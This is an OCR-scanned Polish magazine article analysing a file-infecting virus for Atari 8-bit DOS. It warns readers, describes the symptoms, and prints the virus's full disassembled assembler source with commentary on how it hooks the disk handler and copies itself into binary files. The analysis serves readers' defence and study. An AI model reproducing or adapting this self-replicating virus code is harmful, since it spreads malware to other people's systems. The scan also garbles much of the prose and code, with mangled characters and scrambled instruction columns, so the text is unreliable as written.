Komputery zostaly stworzone,
aby shuzy¢ czitowiekowi.
Do niedawna maszyny, ktore
wypowiadajg postuszenstwo
swemu panu, straszyly tylko
z kart powiesci s—{. I nagle
stalo sie. Groza rodem z bajek
zamieszkala miedzy nami!

Dawne, duze komputery wymagaly
wiele pomocy od czlowieka. Opera-
tor uruchamial re¢cznie zalazek sy-
stemu operacyjnego, zaktadal tasme
z wlasciwym systemem. Taka tasma

byla na ogot zabezpieczona fizycznie
przed zapisem. Operator czuwat nad

calym przebiegiem pracy kompute-
ra, Informowany dziesiatkami kolo-
rowych swiatelek o aktualnym sta-
nie maszyny. Zwykli uzytkownicy do-
starczali zadania na kartach lub ta-
siemkach z papieru, odbierali wyniki
w formie placht wydrukow. Kompu-
ter, a raczej dzialajgcy w nim pro-
gram, nie byl w stanie odmienic
ukladu dziurek na papierze. Dzis
jest inaczej.

Obecnie, w dobie komputerow
osobistych i domowych, kidre dzia-
laja autonomicznie po wilaczeniu do
sieci 1 nie wymagaja od uzytkownika
prawle zadnej wiedzy do ich urucho-
mienia, znacznie trudniej jest kon-
trolowac, co on tam naprawde¢ robi.
Programy przenoszone sg na dys-
kietkach, z niewledzy lub lenistwa
nie zabezpieczonych przed zapisem.
Nietrudno tak zaprogramowaC kom-
puter, by cos$ zapisal na dyskietce
bez wiedzy jej wlasciclela. Szczegol-
na sytuacja prawna w naszym kraju
zacheca do bezkarnego powielania
programow. Mozna to porownac
z rozwligzlosScla seksualna: liczne,
chaotyczne i niekontrolowane konta-
kty sprzyjaja przenoszeniu choradb.

Nie jestem zwolennikiem wirusow,
przeciwnie: walcz¢ z nimi zaciekle.
Tworzone sa, jak sadze, przez sza-
lenicow lub sadystow pozbawionych
skrupuléw. Ale trudno nie spostrzec
takze ich korzystnego wplywu na ry-
nek oprogramowania. Rosnie szacu-
nek dla oficjalnych, solidnych sprze-
dawcéow, spada zaufanie do pokat-
nych handlarzy, oferujacych towar
watpliwe] jakoscl. Strach przed infe-
kcja wymusza wstrzemiezliwoscé.

Poza wszystkim, abstrahujac od
etycznych "za" 1 "przeciw’, wirusy sty-
muluja rozwo] wyrafinowanych tech-
nik programowania oraz dostarczajg
satysfakcjonujacego zajecia 1 splen-
doru rzeszom programistow zwal-
czajacych zarazy.

Wychodzac z zalozenia, ze najstra-
szniejszy jest diabet nieznany, pre-
zentuje dzis Panstwu wirusa, kit6ry
zagnlezdzil si¢ w redakcyjnych zaso-
bach programow. W jakl sposob sie
tu dostal, pozostaje zagadkg. Nim
zostal wykryty, zaintekowal niemal
wszystkie czesto uzywane programy
1 trudno zgadnaé ile dyskietek przy-

jaciot, znajomych 1 nleznajomych.

Drogi Czytelniku! Zbadaj uwaznie
swoje zasoby. Mozesz go miec 1 Ty.

Wirus nalezy do grupy "niedestru-
ktywnych", to znaczy, ze nie wbudo-
wano wen sekwencjl niszczacych za-
soby lub ukilady komputera. Nie oz-
nacza to jednak, ze jest bezpieczny,
powoduje bowiem zwickszenie roz-
miaru plikbw, a wiec prowadzi do
nieoczekiwanego przepelniania dys-
kietek, co moze stanowiC posrednia
przyczyne roznorakich klopotow.
W wyniku uruchomienia zainfekowa-
nego programu wirus zagniezdza si¢
na szostej stronie, skad sledzi dysko-
we operacje WE/WY, czujny, by dota-
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czyC swa kopie do kazdego ZAPISY-
WANEGO programu. WiasSciciele
magnetofonéw moga spac spokojnie.
Wirus atakuje tylko pliki w formacie
DOS i tylko na urzadzeniu "D:". Jed-
nak w przypadku skopiowania zara-
zonego programu na kasete do uzy-
cla z COS—em lub "wykrzyknikiem",
moze przetrwac lata w stanie utajo-
nym, czekajac, az kupisz soble sta-
cle dyskow, lub "sprzedasz" go kole-
dze.

Bezposrednim, zamierzonym
przez autora, objawem dzlalania wi-
rusa jest zmiana reakcjl komputera
w przypadku nacisni¢cia klawisza
RESET. Wirus oducza radykalnie
uzywania tego klawisza, przecho-
dzac trwale do SELF TEST—u. Jedy-
nym wyjSclem po takim zdarzeniu
moze by¢ wylaczenie komputera. Dla
tych, ktorzy nie lubig tego robi¢ (jak
ja), prawdziwa to mc¢ka. Po takim
doswiadczeniu nieche¢tnie siggamy
do RESET—u, z czego radosc dla wi-
rusa, bo RESET go zabija.

Ubocznym efektem dzialania intru-
za moze by¢ zawleszanle sie kompu-
tera przy prObie umieszczenia pro-
gramOw na szo0ste] stronie (pamie-
tajmy, ze przez znajdujgcego sie tam
wirusa przeblega cala obstuga urza-
dzenia "D:"). Moze tez dac sie zauwa-
zyC nieznaczne spowolnienie opera-
cjl dyskowych, lecz nie musi. bo wi-

rus napisany jest z duzym zna-
wstwem tematu. Czasami "lekkt"

konflikt na sz0ste] stronie moze spo-
wodowa¢ wadliwe dzialanie proce-
dur WE/WY, a w konsekwencji znisz-

czenie zasobow na dyskietce.

Zdeasemblowany kod wirusa zo-
stal przeze mnie przelozony na
standard Quick Assemblera, uzupet-
niony o deklaracje etykiet i komenta-
rze:

BOOT EQU $@9
DOSI EQU $©C
FCNT EQU $1D
BYTE EQU S1E
DATA EQU S$2F
HTBS EQU S$31A
SELF EQU $C901

ORG $600

BEGN DTA A(BEGN)
DTA A(BEGN+LGTH-1)

Ten dziwny poczatek stanowl po-
wtorzenie DOS-owego naglowka,

kt6ry w pliku binarmym znajdowat
sie tuz przed nim. Poniewaz DOS nie
laduje nagléwka do pamiegcl, wirus
w celach reprodukceyjnych sam musi
zadbac¢ o przechowanie jego wzoru.

MAIN EQU *
* 'D’ entry search
ILDX #0




DSRC LDA HTBS, X
CMP #'D’
BEQ FOUN
INX

INX
INX
CPX #36
BCC DSRC
RTS
* trap table address
FOUN LDA #6 page 6!
CMP HTBS+2,X
BEQ RETU
LDY #1
TTLP LDA HTBS+2,X
STA ADDR,Y
LLDA MTAD,Y
STA HTBS+2,X
DEX
DEY

BPL. TTLP
RETU RTS

Adres dotychczasowego handlera
zostaje przechowany wewnatrz roz-
kazu w procedurze DOPR, aby moz-
na bylo w dalszym ciggu wykonywac
operacje dyskowe, jak gdyby nigdy
nic. Wirus nie dba (podobnie jak
wielu autoréw nadsylanych do reda-
kcji programow) o poprzednia za-
wartos¢ wektora DOSI 1 komorki
BOOT. Ale w jego przypadku jest to
uzasadnione: przybyl, by sprawicC
klopot.

Tu konczy sic czesS¢ instalacyjna
wirusa. Odnalaz} on adres sterowni-
ka "D:" 1 wymienil go na wiasny.
CzynnoS¢ ta nie jest wykonywana,
jezell brak jest wpisu urzadzenia
"D:" lub wirus zostal juz uprzednio
zainstalowany. Mozna wykorzystac
uzyta tu metod¢ dla rozpoznania
obecnoscl wirusa: jezeli starszy bajt
adresu tablicy handlera D: jest row-
ny 6, to najpewnie] wirus juz sledzi
w komputerze. Teraz nastepuja ko-
lejno nowe procedury obstugi "D:".

*——— Open

XOPN LDA <SELF
STA DOSI
LDA >SELF
STA DOSI+]
LDY #%#2
STY FCNT
DEY 1
STY BOOT
BPL DOPR

Jak widaé, kazde otwarcie pliku
spowoduje ustawienie komorki BO-
OT na 1, co zapewni skok przez we-
ktor DOSI przy uzyciu RESET. We-
ktor DOS] zostaje skierowany na
"wieczny SELF TEST'. Inicjuje si¢
przy okazjl wazna komorke: FCNT
stuzy wirusowi do zbadania poczat-
ku zapisywanego pliku, czy zawiera
2 bajty rowne 255. Zakonczenle po-
lega na skoku do procedury DOPR
z wartoscia 1 w rejestrze Y, co Spo-
woduje wywolanie oryginalnego
'OPEN - dziatanie wirusa pozostato
niezauwazone!

* el e T

XpuT

GOPU

put

LDY
DEY
BMI
CMP
BEQ
LDY
STY
LDY
BPL

byte

FCNT

GOPU
#255
*+4
#255
FCNT
#7

DOPR (JMP)

Tu widzimy bardzo ciekawy trik:

licznik FCNT przyblera wartosc O po
wystaniu dwoéch kolejnych bajtow
rownych 255, w kazdym Innym wy-
padku zostaje ustawiony na 250.
Oble te wartoscl zapoblegaja dal-
szym zmianom licznika. Posluzy on
w procedurze CLOSE jako znacznik
typu pliku. Skok do DOPR z para-
metrem 7 spowoduje wywolanie ory-
ginalnej procedury PUT.

*___ ¢lose

i s chn e nnn i
i s

JSR GOPU

REPL LDY FCNT
CPY BYTE
BNE LOOP

RTS

Korzysta ona 2z procedury PUT
oryginalnego handlera "D:". Odwola-
nia do standardowych procedur
handlera zapewnia procedura
DOPR, dla ktore] parametrem jest
numer starszego bajtu odpowiednie-
go adresu w tablicy handlera (a wigc
1 dla OPEN, 3 dla CLOSE, 5 dla

GET itd.).

XCLO

LDY
BNE
LDY
STY
JSR
LDY

FCNT
GOCL
#4
BYTE
REPL
#o

* e

XGET

XSTA

XSPE
DOPR
XADR
ADDR

do std proc

LDY
BPL
LDY
BPL
LDY
STA
LDA
EQU
PHA
DEY
TYA
ROR
BCC
LDA
RTS

#5
DOPR
#9
DOPR
#11
DATA
* Y
* -2

e
XADR
DATA

(JMP)

(JMP)

STY FCNT
I.LDY <IL.GTH
STY BYTE
JSR REPL
LDY <LGTH-6
STY FCNT
JSR REPL
GOCL IDY #3

BPL. DOPR (JMP)

Procedura CLOSE jest prosta, lecz
jakze skuteczna! Wirus sprawdza tu
typ pliku 1 wykonywanej na nim ope-
racji: w  przypadku  odczytu
FCNT=2, a gdy plik nie jest binarny,
to FCNT=255. Wtedy wirus "grzecz-
nie" oddaje sterowanie do oryginal-
nego CLOSE. Natomiast FCNT=0
oznacza zapis pliku binarnego.
W tym momencie wszystkie bajty
oryginalnego pliku zostaly juz prze-
slane, teraz kole] na wirusa! Nie jest
to jednak proste, bo oprécz swego
clata, ktére zZnajduje sle w pamicci,
musl wygenerowa¢ takze naglowek
i adres wuruchomienia, potrzebne
w przysztym zZyciu. Zostal tu spryinie
wykorzystany licznik FCNT, ktory
z poczatku ma wartos¢é 0. Oznacza on
teraz miejsce w clele wirusa, od kt6-
rego zaczyna sie kopiowanie. Pomoc-
nicza komérka BYTE okresla konlec
bloku, ktéry nalezy zapisa¢. Poczatko-
wy, czterobajtowy fragment Kkopiuje
sie dwa razy, aby dostarczy¢ nagiowek
dla DOS—u 1 jego kopi¢ dla przysziych
pokolen. To samo dotyczy adresu ini-
cjalizacji, z tylu wirusa. Za zapisanie
pojedynczego bloku danych odpowie-
dzialna jesl ponizsza procedura:

*__- body repl

LOOP INC FCNT
LDA BEGN,Y

Prosze zwrocié uwage na oryginal-
na konstrukcj¢ petli, ktora zawsze
wykona sie dwa razy, niezaleznie od
wartoscl Y, byle byla nieparzysta.
Etykieta ADDR pokazuje argument
poprzedzajacego  rozkazu  LDA,
modyfikowany podczas instalacjli.

*-—~-~ new table

MTAD DTA A(MYTA)
MYTA DTA A({XOPN-1) @
DTA A(XCLO-1) 2
DTA A(XGET-1) 4
DTA A(XPUT-1) 6
DTA A(XSTA-1) 8
DTA A(XSPE-1) A

XGET, XSTA 1 XSPE kieruja pozo-
stale funkcje, ktoérych wirus nie po-
trzebuje, do oryginalnego handlera

HD:H.

*_-—-= jnit vect
DTA A(S2E2)
DTA A(S$2E3)
DTA A(MAIN)

*-—— total length

LGTH EQU *-BEGN

Ciato wirusa konczy si¢ powy-
zszym wzorem bloku inicjalizacji,
prawdziwy nastepuje tuz za nim:

* - do 1t!

ORG $2E2
DTA A(MAIN)

END

To wszystko. Strzezcie si¢!

Janusz B. Wisniewskl




